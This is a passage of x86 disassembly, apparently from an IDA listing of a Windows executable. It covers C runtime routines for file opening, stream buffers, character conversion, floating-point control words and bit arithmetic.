sub_423936+6Ej mov edx, dword_4DB5C8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC98 jl short loc_423990 xor edx, edx mov ecx, offset dword_43CA28 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC600[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA88 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2E8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB490 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB5A0, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB2A8, 16h mov dword_4DB2AC, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB2B0 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB2AC, 0 mov dword_4DB2A8, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call near ptr 26F08DDh nop mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2610000h test eax, eax jnz short loc_423C11 push esi nop call near ptr 26508EFh loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2670914h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB2AC, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB498 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 25F0000h test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push ebx call near ptr 2600000h nop test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB498, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB364 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2600000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] call near ptr 2830000h nop mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2830000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] call near ptr 25F0000h nop jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB364, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C534 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB374 nop call near ptr 2820000h test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB364, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C328 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C534 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB374 call near ptr 2830000h nop test eax, eax mov eax, dword_43C534 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB2A8, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB374 nop call near ptr 2830000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword 